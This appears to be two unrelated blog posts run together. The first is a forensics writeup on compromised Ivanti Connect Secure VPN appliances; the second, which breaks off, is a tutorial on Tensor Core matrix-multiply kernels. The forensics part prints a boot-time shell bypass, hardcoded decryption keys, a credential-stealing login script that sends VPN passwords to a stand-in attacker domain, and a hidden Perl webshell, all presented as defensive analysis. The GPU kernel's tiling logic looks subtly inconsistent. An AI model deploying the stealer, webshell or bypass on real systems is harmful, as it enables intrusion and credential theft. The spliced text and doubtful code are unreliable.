This research was done using hardware obtained by myself individually, analyzed using hardware owned by myself individually. Information and opinions held in this presentation are my own and do not reflect my current or previous employers

Cover Illustration by onigiririice

The materials here were partly given out in my talk “Ghost in the Machine : The Mess of Doing Forensics in Network Appliances” at ITSEC Asia Summit 2025. This is a partial (but more focused and indepth, i think) writeup for those who missed it.

Intro

Network appliance vulnerabilities are becoming an increasingly sticky target for threat groups (particularly APTs). Forescout had said that while in 2023 endpoints were riskier than network devices, at the end of 2023 there was a reversal and the number of exploited vulnerabilities inside of network devices, and they say that network equipment has become the riskiest IT device category surpassing endpoints.

While security through obscurity is an underappreciated strategy, the level of blind trust we put to hardware vendors can sometimes be abit excessive. Because of hardening requirements from standards such as FIPS 140-2, performing forensics yourself is nearly impossible with public documentation due to vendors not giving access to a shell to access the firmware, the full-disk encryption system which further complicates things, and also the fact that there are no way to exfiltrate the data once a shell has been achieved. This makes accessing the inner firmware and exfiltrating it for analysis difficult, if not impossible especially for teams without dedicated DFIR teams with RE capabilities.

One of my personally most memorable cases of this instance is the Ivanti Connect Secure (or known as Pulse Secure under Juniper), which was hit by four consecutive different CVEs in early 2024 (CVE-2023-46805, CVE-2024-21887, CVE-2024-21893, and CVE-2024-22024). Volexity, Mandiant, and Ivanti have both released IoCs and detection methods to detect a compromise, but with many vendors alot of these IoCs are only detected either by the assistance of Ivanti themselves (who require you to send the system snapshot generated by the Integrity Checking Tool (ICT) for it to be decrypted) or by hiring an expert forensics team.

The Ivanti Connect (not-so) Secure

The initial RCE vulnerability on the Ivanti started from something kinda benign, the initial VPN setup page. The Pulse Secure VPN has a page that’s normally intended to be open to the public internet where people can initially setup their Two Factor Authentication Apps. This page has an API, and through these two simple curl commands you can bypass the security checks and have an RCE directly to the firmware. Why is that function even exposed via the API is beyond me, especially as you can see the RCE itself relates to the licensing check.

There are two versions of Ivanti Connect Secure (or the Pulse Secure Appliance the name used by the VPN before the acquisition) :

• Hardware Appliances in the form of the Pulse Secure Appliance (PSA) series, which was released around 2015 and mostly run the LILO (Linux Loader) boatloader with a modified loop-AES disk encryption system

• Hardened Virtual Appliances which are distributed for deployment within virtualization systems like ESXi and mostly run the GRUB boatloader with LUKS encryption

For the hardware appliance, there are lots of places that sell enterprise grade hardware from years ago in bulk in almost every country if you look hard enough. For North American and European readers, a simple look at Ebay or subreddits like r/homelabsales. For Indonesian viewers, you can usually find some great stuff in sites like Bukalapak (which is honestly the only valid use for Bukalapak nowdays) or places like electronic-focused malls.

The Bootloaders

While looking the console in the virtualized appliance might be trivial, to read the console in the hardware appliance we need to use the serial console via the management port using an ethernet to DB9 serial port to USB adapter, with a serial console being able to be accessed using something like PUTTY (Windows) or screen (Mac) via the USB COM port.

Upon booting it up, you'll be met with one of these two screens, the LILO bootloader and the GRUB Bootloader.

While many are well accustomed to GRUB, you might be confused seeing LILO. LILO, or Linux Loader, was the predecessor for GRUB that was deprecated in 2015. Compared to GRUB it has several deficiencies like having no interactive command interfaces (it only support boot arguments) and does not support booting from a network. While limiting, these limitations might be preferable for a vendor that wants to make a locked-down linux appliance that doesn't want to develop their own proprietary bootloader.

In both LILO and GRUB versions, there are two versions which is the current and the rollback kernel versions. The GRUB bootloader also has the option to conduct a factory reset from the bootloader itself.

Gaining a Shell

When trying to init to /bin/sh, on both the GRUB-based and the LILO-based appliance, the command is ignored. This is likely an attempt to comply with the FIPS 140-2 standard, which says that vendors should ensure that only authorized users can access cryptographic functions and keys. Pulse Secure seems to comply with this by locking down the shell to the firmware, as once we have a shell, we can simply search for the disk keys and use them to cold-mount the disks.

__int64 __fastcall sub_FFFFFFFF826CC601(unsigned __int8 *a1)
{
  __int64 i;

  if ( strcmp(a1, "/bin/sh") )
    qword_FFFFFFFF827E2030 = a1;
  for ( i = 0LL; i != 31; ++i )
    qword_FFFFFFFF82212168[i] = 0LL;
  return 1LL;
}

Upon Watchtowr's analysis of the kernel, they found that Pulse Secure simply blacklist the term /bin/sh, which means we can just use an alternative version of the command init=//bin/sh . This check also applies for the LILO bootloader, which means it can be bypassed using the same method simply by using current init=//bin/sh to run the current version of the firmware

Decrypting the Firmware

Gaining the shell is half the battle, while many can do quick and dirty forensics using the provided shell, some may prefer to dump the firmware to another location to be analyzed using other tools or even simply to view it in a more sane way other than simply cat-ing the scripts inside.

PSA systems with LILO uses a bespoke variant of loop-AES compiled into the kernel. This setup includes the loop_setup_root function, designed to encrypt the root device specified in the command line by wrapping it with a crypto loopback device using a hardcoded key. This operation occurs during the system's boot process, specifically within the prepare_namespace function, just before the root filesystem is mounted. While GRUB based appliances, according to Watchtowr, is encrypted with LUKS.

For GRUB-based Appliances

Upon gaining a shell, we can read the keys which are stored is stored inside /etc/lvmkey

sh-4.1# cat -vE /etc/lvmkey
$
M-9M-^^M-OM-^IuNM-G`^XM-J^NM-Z]jM-G

The file is presented in non-printable characters, where ^ symbols denote control characters, M- prefixes indicate characters with the eighth bit set (extending the ASCII range to include characters from 128 to 255), and $ represents the newline character. Each character or symbol combination from the output is mapped to its corresponding hexadecimal value. For example, M-9 translates to a character in the extended ASCII range, obtained by adding 128 to the ASCII value of 9, resulting in b9. Control characters, like ^X, are interpreted based on their control sequence meaning, with ^X representing the hexadecimal value 18. Regular ASCII characters are directly mapped to their hexadecimal values (e.g., u to 75).

After decoding it to hexadecimal we get the following key.

\x0a\xb9\x9e\xcf\x89\x75\x4e\xc7\x60\x18\xca\x0e\xda\x5d\x6a\xc7

We can now use this to decrypt the LUKS volumes.

For LILO-based Appliances

For LILO, the method might be a little bit complicated as the disk is encrypted using a custom implementation of loop-AES, which supports multiple CBC modes in AES but differing in the generation of per-sector Initialization Vectors. It also includes the ability to generate multiple keys from the same key material, selecting a specific key based on the sector number's modulus with the total number of keys.

However, Pulse Secure uses a simplified model by employing a single key mode and embedding it as a hardcoded key directly into the kernel. I guess the rationale is that nobody with bad intentions will ever go into the appliance to tinker with it in this way.

But Pulse Secure modified the loop-AES's CBC mode, as the ciphertext is XOR-ed with a decrypted version of the per sector IV before decryption begins. So given :

• Dk() as the AES decryption operation with key K

• IV as the initialization vector for the block, which is the sector number encoded as a 16-byte little endian for the first block and the ciphertext of the previous block for subsequent blocks

• Ci​ as the i-th ciphertext block

The IV (either derived from the sector number for the first block or the previous ciphertext block for subsequent blocks) is decrypted using Dk​, the AES decryption function with the key K. The ciphertext block Ci​ is XORed with the decrypted IV (IV′), reversing the final layer of encryption applied during the encryption process.

The result of the XOR operation X is then decrypted using Dk​, undoing the AES encryption applied to the plaintext during the initial encryption. The intermediate plaintext Pi′​ is XORed again with the original IV to completely reverse the initial xor-encrypt-xor process and recover the original plaintext block Pi​. In code this will look like :

from Crypto.Cipher import AES

def xor(s1, s2):
    return bytes(c1 ^ c2 for c1, c2 in zip(s1, s2))

def ivanti_cbc_decrypt(key, sector_number, encrypted_data):
    # initialize AES cipher in ECB mode
    cipher = AES.new(key=key, mode=AES.MODE_ECB)

    # decrypt blocks of data
    def decrypt_block(iv, data_blocks):
        for block in data_blocks:
            pre_iv = cipher.decrypt(iv)
            xor_ciphertext = xor(block, pre_iv)
            plaintext_block = cipher.decrypt(xor_ciphertext)
            final_plaintext = xor(plaintext_block, iv)
            yield final_plaintext
            iv = block
    iv = sector_number.to_bytes(length=16, byteorder='little')
    data_blocks = [encrypted_data[i:i+16] for i in range(0, len(encrypted_data), 16)]
    decrypted_data = b''.join(decrypt_block(iv, data_blocks))
    return decrypted_data

As every kernel version has different keys, its recommended for you to try this yourself on your own appliances.

Forensics Object of Focus

After leaving the appliance as a honeypot on for sometime for it to be indexed by sites like Censys and Shodan, there are three components usually targeted that you need to check for :

lastauthserverused.js

This component is related to managing user preferences related to authentication and login processes. Attackers modify the Login(setCookies) function to forward the login information of VPN users to a selected C2 domain.

function Login(setCookies) {
// NOTE START : THIS IS THE EXPLOIT
    var wdata = document.frmLogin.username.value;
    var sdata = document.frmLogin.password.value;
    if (wdata && sdata) {
        var wdata = btoa(wdata);
        var sdata = btoa(sdata);
        const url = 'c2attackerdomain[.]com''+wdata+'&'+sdata';
        var xhr = new XMLHttpRequest();
        xhr.open('GET',url, false);
        xhr.send(null);
    }
// NOTE END : THIS IS THE EXPLOIT
    // Remember currently selected auth realm
    if (typeof(setCookies) == "number" && setCookies == 0) {
    }
    else {
        LoginImpl();
    }
    if (document.frmLogin.tz_offset != null) {
      var wdate = new Date (95, 12, 1);
      var sdate = new Date (95, 6, 1);
      var winter = (-1) * wdate.getTimezoneOffset();
      var summer = (-1) * sdate.getTimezoneOffset();
      document.frmLogin.tz_offset.value = winter < summer ? winter : summer;
    }
    return true;
}

function LoginPPC(setCookies) {
    LoginImpl();
    if (document.frmLogin.username != null) {
        var URL = GetCookieValue('DSSignInURL');
        SetLastWsamInfo(document.frmLogin.username.value, URL);
    }
    return true;
}

compcheckresult.cgi & DSlog.pm

compcheckresult.cgi is used by the appliance to determine the compatibility of client systems with specific components (e.g., SAM, NC, Host Checker, JNAM) based on the client's browser and platform (Windows, Mac, Linux). This script is executed when a user visits the appliance gateway interface and also call another perl script called DSLog.pm.

#!/home/ecbuilds/int-rel/sa/9.1/bld24995.1/install/perl5/bin/perl -T
# -*- mode:perl; cperl-indent-level: 4; indent-tabs-mode:nil -*-
#
#  Copyright (c) 2005-2017 by Pulse Secure, LLC. All rights reserved
#

use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl";
use lib ($ENV{'DSINSTALL'} =~ /(\S*)/)[0] . "/perl/lib";

use strict;
use CGI qw(:standard);
use DSSafe;
use DSCBMeeting;
use DSUI;
use DSI18N;
use DSHTMLUI;
use DSSessionsManager;
use DSLog;

The script below is then run which contains the following webshell which begins by capturing the user's browser's user agent string and the query string from the environment variables. The script then checks if the user agent contains a specific hash value. If this condition is met and there is a second parameter in the query string, the script proceeds to parse this parameter.

my $ua = $ENV{HTTP_USER_AGENT};
my $req = $ENV{QUERY_STRING};
my $qur = "0d570ddf3e373a06346cbb3f68942082d69e8af0022d152e87a41e9836e0bc7e";
my @param = split(/&/, $req);
if (index($ua, $qur) != -1) {
    if ($param[1]){
        my @res = split(/=/, $param[1]);
        if ($res[0] eq ("cdi"){
           $res[1] =~ s/([a-fA-F0-9][a-fA-F0-9])/chr(hex($1))/eg;
           $res[1] =~ tr/!-~/P-~!-O/;
           system(${res[1]})
        }
    }
}

The parameter is expected to follow a format where it is divided into a key and value pair, separated by an equal sign. The script specifically looks for the parameter key "cdi". If found, it decodes the value associated with this key from a hexadecimal representation to ASCII, applies a Caesar cipher shift to the decoded string, and then executes the resulting string as a system command.

There are many other IoCs from Mandiant, Volexity, and Watchtowr you should watchout for. This is not in any way an exhaustive list.

Non-Invasive Forensics

Entering custom boot commands, dumping firmware via netcat, and decrypting LUKS drives using a python script from a stranger on the internet might sound scaring (and downright unaccepted in some mature enterprise settings).

For non-invasive and drive-by forensics, Ivanti recommends the usage of the Integrity Checker Tool (ICT) provided by Ivanti which scans the System Snapshot Log for signs of compromise, new files, and mismatched hashes. But since Ivanti themselves recommend against trusting the internal ICT, we can acquire the log results of the ICT scan manually from the appliance by the System Snapshot log using the panel in /dana-admin/dump/dump.cgi and select Take Snapshot and then selecting Download Admin Generated Snapshot to download the log.

However, the snapshot itself is encrypted and regular individuals cannot decrypt it without the help of Ivanti themselves which have been innundated with decryption and support requests due to the zero-day fiasco.

Searching around the internet, i found this unique PoC screenshot by nccgrroup for a different older zero day affecting Pulse Secure which shows the key for the encrypted appliance. Turns out this is the universal hardcoded 3DES key to decrypt the ICT result.

So we can create a simple python script to decode the encrypted ICT file.

import sys
import struct
import argparse
from Crypto.Cipher import DES3

# Hardcoded DES3 key for decryption
HARDCODED_KEY = bytes.fromhex("7e95421a6b886641431b32c52442e2e483f81f58b0e9e9a5")

def decrypt(ciphertext, key, iv):
    """Decrypts ciphertext using Triple DES (DES3) with CFB mode."""
    cipher = DES3.new(key, DES3.MODE_CFB, iv, segment_size=64)
    return cipher.decrypt(ciphertext)

def parse_encrypted_config(filename):
    """Extracts the key, IV, and ciphertext from an encrypted snapshot file."""
    with open(filename, 'rb') as file:
        file.seek(1)  # Skip header or version byte
        iv = file.read(8)  # Read 8-byte IV
        file.seek(1, 1)  # Skip a byte indicating use of the hardcoded key
        size = struct.unpack('<i', file.read(4))[0]  # Get the size of encrypted data
        ciphertext = file.read(size)  # Read the ciphertext
    return HARDCODED_KEY, iv, ciphertext

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Decrypt Ivanti Connect Secure ICT.')
    parser.add_argument("action", help="Specify the 'decryption' action", choices=('decryption',))
    parser.add_argument("input", help="Path to the encrypted snapshot file")

    args = parser.parse_args()

    if args.action == "decryption":
        key, iv, ciphertext = parse_encrypted_config(args.input)
        decrypted_data = decrypt(ciphertext, key, iv)
        output_filename = 'snapshot.tar'
        with open(output_filename, 'wb') as output_file:
            output_file.write(decrypted_data)
        print('Decryption complete.')

This method has been tested to work in both the virtualized appliance and the physical appliance version of Pulse Secure/Ivanti Connect Secure. Inside the file there contains the following :

• ls of all system folders

• Supported filesystems and their status (e.g., ext3, vfat, nfs)

• Device driver allocations for character and block devices (e.g., mem, sd, loop)

• Memory usage, including total, free, and specific usage types (e.g., Buffers, Cached, Swap)

• Slab allocator statistics, detailing kernel object caching

• Swap space configuration

• Mounted filesystems, detailing mount points and filesystem types

• System load average over 1, 5, and 15 minutes

• Network interface statistics, including received and transmitted packets

• IP routing table

• File lock information, showing locks held by processes

• CPU condition and aggregated CPU time spent in various states

• XFRM (IPsec) statistics

• Netfilter queue configurations

• Netlink socket details

• IRQ (Interrupt Request) affinities for specific devices

• cgroups configuration

• and more... (i haven't read the full thing lol)

You can use this data to figure out if any added scripts or unauthorized processes were running inside your device at the time the system snapshot was executed. However, to match file hashes with known good file hashes the appliance uses a manifest file inside of the appliance or attached alongside the external ICT, which makes verifying the existence of modified components of the appliance impossible using the snapshot alone.

However, in my experience this could be an easy way and fast way to detect signs of compromise without having to physically connect to the appliance inside of a cold server room. This can prove useful to determine whether more direct action is needed to fully analyze the appliance or not.

Conclusion

So what did we learn from all this? Probably that attackers are now shifting their focus to less secured devices in the perimeter of the network. Because of course an Endpoint EDR can only see indicators of compromise inside of an endpoint, it rarely can identify that it is connected to a compromised appliance.

And ultimately is that all of this is just very hard. Cryptographically function cracking, firmware decryption, linux kernel analysis, if you’re able to do all of that you won’t settle working in incident response. You would be working in vulnerability research to find zero days and easily make ten times more. The unfortunate truth is that so far there hasn’t really been an effective way to detect, analyze, and tackle these types of attacks.

Cover Illustration by atomic_arctic

While doing matrixes on GPUs are kind of overplayed, they still represent one of the most important computation for modern AI workloads, making up the vast majority of FLOPS during both training and inference of deep learning models. Even if your kernels don’t get near cuBLAS performance, it will still teach you alot about low-level GPU architecture and their performance characteristics.

NVIDIA introduced Tensor Cores starting with the Volta generation of GPUs to accelerate applications represented by AI inference and training, which typically involve large-scale matrix multiplication or matrix-multiplication-like workloads. After all, CUDA Cores have limited computing power, and there would be a lot of memory bandwidth wasted on matrix multiplication, which is a typical compute-intensive workload. The addition of Tensor Cores allows GPUs to utilize their memory bandwidth of several hundred GB/s during matrix multiplication computations. Tensor Cores were later added to the RTX series of graphics card, with AI workloads starting to be more important for prosumers and gamers (technologies like DLSS and frame generation).

Each Streaming Multiprocessor (SM) in the Hopper architecture is a powerful compute unit containing both traditional CUDA cores and specialized Tensor Cores. In the full GH100 “Hopper” GPU (which powers H100), there are 144 SMs arranged across 8 GPCs (Graphics Processing Clusters), with 2 SMs per TPC (Texture Processing Cluster). The H100 SXM5 variant has 132 SMs enabled (the PCIe version has 114)​developer.nvidia.com. Within each SM, there are 128 FP32 CUDA cores and four 4th-generation Tensor Cores​​. The CUDA cores handle standard scalar/thread-parallel operations (integer and floating-point ALU tasks), while the Tensor Cores are dedicated matrix-math units designed for massively parallel multiply-accumulate operations on matrices. These Tensor Cores are tightly integrated into the SM’s datapath and scheduling fabric, allowing warp-level matrix operations to execute alongside normal instructions.

Hopper Tensor Cores support a broad range of numerical formats including FP64, TF32, BF16, FP16, INT8, and most notably FP8—a new 8-bit format (E4M3 and E5M2) tailored for AI workloads. These data types operate under mixed-precision accumulation, e.g., FP8 inputs accumulating in FP16 or FP32, optimizing both performance and accuracy. While hybrid-precision formats are not new such as in Micikevicius et al. (2022) which use E4M3 in Fprop and E5M2 in Dgrad and Wgrad, newer architectures like DeepSeek adopts the E4M3 format universally. By operating on smaller element groups, their methodology effectively shares exponent bits among grouped elements, mitigating the impact of limited dynamic range.

Each Tensor Core executes matrix multiplications using warp-level HMMA instructions like HMMA.16x8x16 or HMMA.8x8x8, denoting matrix tile sizes and operand types. In Hopper, an SM can issue one such operation per cycle per Tensor Core, with four Tensor Cores per SM. Pipelining and warp scheduling allow latency hiding and high occupancy, especially when paired with TMA’s low-latency data loads and async barriers. This design minimizes idle cycles and register pressure while sustaining high throughput.

Programming Tensor Cores

When you're writing Tensor Core code, you're really working with three different levels at once. The first layer is the C++ API that wraps everything in nice clean abstraction, the next one is the PTX instructions that give you precise control over what the hardware does, then the actual SASS machine code that runs on the silicon.

At the top level, NVIDIA gives us the WMMA (Warp Matrix Multiply Accumulate) API in CUDA C++. It's defined in mma.h under your CUDA include directory (typically CUDA/v12.0/include/crt/mma.h). The basic building block here is something called a "fragment" - think of it as a chunk of a matrix that maps nicely to what the Tensor Cores can process. Each fragment represents a warp-collective operation where all 32 threads in a warp work together, each holding specific matrix elements in their registers.

// First we declare our fragments - these map to registers in a warp
nvcuda::wmma::fragment<nvcuda::wmma::matrix_a, 16,16,16, half, nvcuda::wmma::row_major> frag_a;
nvcuda::wmma::fragment<nvcuda::wmma::matrix_b, 16,16,16, half, nvcuda::wmma::row_major> frag_b;
nvcuda::wmma::fragment<nvcuda::wmma::accumulator, 16,16,16, half> frag_c;

// Initialize the accumulator fragment to zero
nvcuda::wmma::fill_fragment(frag_c, 0.0f);

// Load matrix data from memory into fragments
nvcuda::wmma::load_matrix_sync(frag_a, ptrA, strideA);
nvcuda::wmma::load_matrix_sync(frag_b, ptrB, strideB);

// Do the matrix multiply-accumulate
nvcuda::wmma::mma_sync(frag_c, frag_a, frag_b, frag_c);

// Store results back to memory
nvcuda::wmma::store_matrix_sync(ptrC, frag_c, strideC, nvcuda::wmma::mem_row_major);

Those template parameters tell the compiler exactly what size of matrix operation we want. On Hopper, we can do 16x16x16 for FP16/BF16, 16x16x32 for the new FP8 format, and 16x8x32 for TF32 and several other combinations. The available sizes have evolved: Volta introduced 16x16x16, Turing added 16x8x8, Ampere brought 16x8x16 with sparsity support, and Hopper expanded to include FP8 configurations.

When we compile that C++ code, the journey begins with NVCC. First, your .cu file gets preprocessed using cl.exe on Windows or gcc on Linux, expanding macros and handling includes, creating a .cpp4.ii file. Then cudafe++ analyzes this preprocessed code to separate device and host portions, generating .cudafe1.cpp for device code. This separation is crucial - host code will be compiled by your normal C++ compiler, while device code needs special handling.

Now we enter the PTX phase. PTX is NVIDIA's intermediate representation - kind of like GPU assembly but not quite machine code yet. For those familiar with LLVM, PTX shares similarities with LLVM's Intermediate Representation (IR). While LLVM's project scope has expanded beyond its original "virtual machine" naming, its core concept of IR remains analogous to PTX. IR acts as a bridge between frontend programming languages and backend machine code, simplifying support for new languages and hardware targets while enabling cross-platform optimizations. PTX serves as NVIDIA's "CUDA IR," connecting high-level CUDA C++ code with low-level GPU SASS instructions. This abstraction allows NVIDIA to implement runtime optimizations via tools like NVRTC and generate device-agnostic code.

The cicc compiler takes our separated device code and generates PTX, using virtual architecture flags (like -arch compute_70) to determine what features are available. This creates a .ptx file containing instructions that are still somewhat readable but much closer to the hardware:

// FP8 (new in Hopper!)
mma.sync.aligned.m16n16k32.row.col.f16.e4m3.e4m3.f16 d, a, b, c;  // 4-bit exp, 3-bit mantissa
mma.sync.aligned.m16n16k32.row.col.f16.e5m2.e5m2.f16 d, a, b, c;  // 5-bit exp, 2-bit mantissa

// FP16
mma.sync.aligned.m16n8k16.row.col.f16.f16.f16.f16 d, a, b, c;

// TF32
mma.sync.aligned.m16n8k8.row.col.f32.tf32.tf32.f32 d, a, b, c;

Each part of these PTX instructions has meaning: 'sync' means all threads participate, 'aligned' indicates memory alignment requirements, the shape (m16n8k16) defines matrix dimensions, and the data types specify the precision for each operand.

The ldmatrix instruction is fascinating - it's way more flexible than the old wmma.load. Instead of being locked into loading data with a fixed stride, we can specify exactly where each group of 4 threads should load from. This is crucial for avoiding shared memory bank conflicts:

ldmatrix.sync.aligned.x4.m8n8.shared.b16 rd, [addr];

Though CUDA developers may not directly interact with PTX, it plays a critical role under the hood. When compiling CUDA code with NVCC, .ptx files are generated during the device code compilation phase. These files represent the optimized intermediate code before final translation to SASS (the GPU's native instruction set). PTX also enables the magic of forward compatibility - code compiled today can run on future GPUs through JIT compilation.

The next step is where ptxas comes in. This assembler takes PTX and generates actual machine code (SASS) for specific GPU architectures, using physical architecture flags like -arch=sm_90. The output is a .cubin file containing binary code that can run directly on the target GPU.

Finally, we get to what actually runs on the hardware: SASS instructions. On Hopper (compute capability 9.0), there are specialized HMMA (Half-precision Matrix Multiply-Accumulate) instructions for each data format:

HMMA.1616.F16  // for FP16/BF16
HMMA.1632.F8   // for the new FP8 format
HMMA.168.F32   // for TF32
LDSM.16.M88.4  // Load from Shared Memory for matrix operations

What's cool is each encoding is tuned for its specific format. The FP8 instruction (HMMA.1632.F8) can process twice as much data per instruction because the numbers are half the size. This is how Hopper achieves that 4x speedup for FP8 operations compared to FP16 on previous generations.

The journey doesn't end with a single cubin file. fatbinary packages together multiple architecture versions (like sm_70, sm_80, sm_90 cubins) along with PTX code for forward compatibility, creating a .fatbin file. This gets embedded into your host executable, allowing the CUDA runtime to select the best version at runtime based on the actual GPU present. The host code, meanwhile, has been compiled by your regular C++ compiler and linked with CUDA runtime libraries. The final executable contains both host code and the embedded fatbinary, ready to run on a variety of GPU architectures.

For fp16 type, the matrix load and matrix multiplication operations mentioned above are compiled into LSDM instructions and HMMA instructions. These SASS instructions directly map to the physical Tensor Core hardware units, with each SM containing multiple Tensor Cores that can execute these specialized matrix operations in parallel.

Implementations

Naive Kernel

The baseline implementation utilizes the C API for Tensor Cores, but with alternative tiling parameters BM = 64, BN = 128, BK = 64, and 256 threads per block. This configuration provides different memory access patterns and computational balance compared to the more common BM = 128, BN = 256, BK = 32 approach.

__global__ void hgemm_naive(
    half * __restrict__ a, half * __restrict__ b, half * __restrict__ c,
    const int M, const int N, const int K) {
    const int BM = 64;
    const int BN = 128; 
    const int BK = 64;

    int bx = blockIdx.x;
    int by = blockIdx.y;
    int tid = threadIdx.x;
    int wid = tid >> 5;

    const int APAD = 8;
    const int BPAD = 8;

    __shared__ half s_a[BM][BK + APAD];
    __shared__ half s_b[BK][BN + BPAD];

    // Using a 3x2 grid of fragments per warp instead of 4x4
    // This maps differently to the output matrix based on the new tiling dimensions
    wmma::fragment<wmma::matrix_a, 16, 16, 16, half, wmma::row_major> frag_a[2][3];
    wmma::fragment<wmma::matrix_b, 16, 16, 16, half, wmma::row_major> frag_b[2][3];
    wmma::fragment<wmma::accumulator, 16, 16, 16, half> frag_c[3][2];

    // Initialize accumulator fragments to zero
    #pragma unroll
    for (int i = 0; i < 3; i++) {
        #pragma unroll
        for (int j = 0; j < 2; j++) {
            wmma::fill_fragment(frag_c[i][j], 0.0);
        }
    }

    // Thread mapping with BM=64, we need different load calculations
    int load_a_smem_m = (tid % 16) * 4; // Interleaved row assignment
    int load_a_smem_k = (tid / 16) * 4; // Distribute across K dimension
    int load_b_smem_k = (tid / 32) * 8; // Different mapping for larger BK
    int load_b_smem_n = (tid % 32) * 4; // Distribute within a warp across N

    int load_a_gmem_m = by * BM + load_a_smem_m;
    int load_b_gmem_n = bx * BN + load_b_smem_n;

    int load_a_gmem_addr = load_a_gmem_m * K + load_a_smem_k;
    int load_b_gmem_addr = load_b_smem_k * N + load_b_gmem_n;

    // Modified warp assignment for 3x2 grid
    // Each warp computes a 48x32 output tile (vs 64x64 in the original)
    int comp_c_frag_m = (wid / 2) * 3; // Maps to beginning of vertical fragment group
    int comp_c_frag_n = (wid % 2) * 2; // Maps to beginning of horizontal fragment group

    for (int bk = 0; bk < K / BK; bk++) {
        // Load A tile into shared memory (4 elements per thread)
        if (load_a_gmem_m < M && load_a_smem_k < BK) {
            FLOAT4(s_a[load_a_smem_m][load_a_smem_k]) = 
                FLOAT4(a[load_a_gmem_addr]);
        }

        // Load B tile into shared memory (4 elements per thread)
        if (load_b_smem_k < BK && load_b_gmem_n < N) {
            FLOAT4(s_b[load_b_smem_k][load_b_smem_n]) = 
                FLOAT4(b[load_b_gmem_addr]);
        }

        load_a_gmem_addr += BK;
        load_b_gmem_addr += BK * N;

        __syncthreads();

        // Load matrix data from shared memory into Tensor Core fragments
        // 3x2 fragment grid requires different addressing pattern
        #pragma unroll
        for (int i = 0; i < 3; i++) {
            wmma::load_matrix_sync(frag_a[0][i], 
                &s_a[(comp_c_frag_m + i) * 16][0], BK + APAD);
            wmma::load_matrix_sync(frag_a[1][i], 
                &s_a[(comp_c_frag_m + i) * 16][32], BK + APAD);
        }

        #pragma unroll
        for (int i = 0; i < 2; i++) {
            wmma::load_matrix_sync(frag_b[0][i], 
                &s_b[0][(comp_c_frag_n + i) * 16], BN + BPAD);
            wmma::load_matrix_sync(frag_b[1][i], 
                &s_b[32][(comp_c_frag_n + i) * 16], BN + BPAD);
        }

        // Execute matrix multiply-accumulate operations
        #pragma unroll
        for (int i = 0; i < 3; i++) {
            #pragma unroll
            for (int j = 0; j < 2; j++) {
                wmma::mma_sync(frag_c[i][j], frag_a[0][i], frag_b[0][j], frag_c[i][j]);
                wmma::mma_sync(frag_c[i][j], frag_a[1][i], frag_b[1][j], frag_c[i][j]);
            }
        }

        __syncthreads();
    }

    // Store results back to global memory
    int store_c_gmem_m = by * BM + (comp_c_frag_m * 16);
    int store_c_gmem_n = bx * BN + (comp_c_frag_n * 16);

    #pragma unroll
    for (int i = 0; i < 3; i++) {
        #pragma unroll
        for (int j = 0; j < 2; j++) {
            if (store_c_gmem_m + i * 16 < M && store_c_gmem_n + j * 16 < N) {
                wmma::store_matrix_sync(
                    &c[(store_c_gmem_m + i * 16) * N + (store_c_gmem_n + j * 16)], 
                    frag_c[i][j], N, wmma::mem_row_major);
            }
        }
    }
}

The kernel implements a 3×2 fragment grid per warp instead of the traditional 4×4, resulting in 48×32 output tiles per warp. It also uses interleaved row assignment for matrix A to better balance the workload across threads. Then it includes bounds checking to handle edge cases, important for matrices that aren't neatly divisible by the tile dimensions. Finally, it implements a different thread-to-data mapping to accommodate the modified tile dimensions.

The increased BK dimension (64 vs 32) reduces the number of iterations in the main loop, potentially increasing computational intensity at the expense of requiring more shared memory per iteration. This tradeoff can be beneficial depending on the matrix dimensions and hardware characteristics..

Asynchronous Copy (cp.async) and Pointer Conversions

The first significant optimization introduces asynchronous memory copy operations using PTX inline assembly. The key addition here is the use of __cvta_generic_to_shared() to convert generic pointers to shared memory addresses required by the PTX inline assembly.

This is a critical step because the pointer (8 bytes) obtained using SMEM is generic, directly using this 8-byte value as the address of shared memory may exceed the address range of shared memory.

__global__ void hgemm_async(
    half * __restrict__ a, half * __restrict__ b, half * __restrict__ c,
    const int M, const int N, const int K) {
    // Initial setup and declarations, same as naive kernel
    // ...
    int s_a_base_addr = __cvta_generic_to_shared(s_a[0]);
    int s_b_base_addr = __cvta_generic_to_shared(s_b[0]);
    int load_a_smem_addr_0 = s_a_base_addr + OFFSET(load_a_smem_m, load_a_smem_k, BK + APAD) * sizeof(half);
    int load_a_smem_addr_1 = load_a_smem_addr_0 + (BK + APAD) * sizeof(half);
    int load_b_smem_addr_0 = s_b_base_addr + OFFSET(load_b_smem_k, load_b_smem_n, BN + BPAD) * sizeof(half);
    int load_b_smem_addr_1 = load_b_smem_addr_0 + (BN + BPAD) * sizeof(half);
    int load_b_smem_addr_2 = load_b_smem_addr_0 + 2 * (BN + BPAD) * sizeof(half);
    int load_b_smem_addr_3 = load_b_smem_addr_0 + 3 * (BN + BPAD) * sizeof(half);

    for (int bk = 0; bk < K / BK; bk++) {
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_a_smem_addr_0), "l"(&a[load_a_gmem_addr        ]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_a_smem_addr_1), "l"(&a[load_a_gmem_addr +     K]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_0), "l"(&b[load_b_gmem_addr        ]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_1), "l"(&b[load_b_gmem_addr +     N]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_2), "l"(&b[load_b_gmem_addr + 2 * N]));
        asm ("cp.async.ca.shared.global [%0], [%1], 16;\n" :
            : "r"(load_b_smem_addr_3), "l"(&b[load_b_gmem_addr + 3 * N]));

        load_a_gmem_addr += BK;
        load_b_gmem_addr += BK * N;

        asm ("cp.async.commit_group;\n" ::);
        asm ("cp.async.wait_group 0;\n" ::);

        __syncthreads();

        // Matrix loading and multiplication code remains the same as last one
        // ...
    }
}

Instead of using the FLOAT4 macro to load data, we now use the cp.async.ca.shared.global PTX instruction. This instruction initiates asynchronous memory transfers from global memory to shared memory. The transfers are grouped with cp.async.commit_group and then we wait for completion with cp.async.wait_group 0.

